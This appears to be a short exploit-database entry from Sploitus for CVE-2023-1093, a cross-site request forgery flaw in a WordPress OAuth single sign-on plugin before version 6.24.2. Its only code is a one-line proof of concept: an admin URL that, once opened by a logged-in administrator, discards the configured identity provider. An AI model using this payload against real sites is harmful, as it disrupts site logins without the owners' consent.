Sploitus

Exploit for OAuth Single Sign On - SSO (OAuth Client) < 6.24.2 - IdP Discard via CSRF

CVE-2023-1093

wpexploit · 2023-02-28

Exploit Code

MARKDOWN2 lines
## https://sploitus.com/exploit?id=WPEX-ID:1E13B9EA-A3EF-483B-B967-6EC14BD6D54D
Make a logged in admin open: https://example.com/wp-admin/admin.php?page=mo_oauth_settings&tab=config&action=discard